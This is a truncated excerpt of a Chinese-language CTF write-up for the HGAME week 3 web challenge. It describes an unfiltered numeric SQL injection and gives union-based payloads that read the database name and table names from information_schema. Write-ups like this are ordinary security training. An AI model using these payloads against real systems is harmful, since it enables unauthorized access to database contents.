HGAME-WEEK3-WRITE-UP

HGAME-WEEK3-WRITE-UP WEB 送分的SQLi 这题非常简单，什么过滤都没有就是简单的有回显数字型SQL注入。 所以我们可以直接构造union注入就可以完成所有操作 /*库名*/ id=1 union select database(),1 /*表名*/ id=1 union select table_name,1 from information_schema.tables w

>>阅读原文<<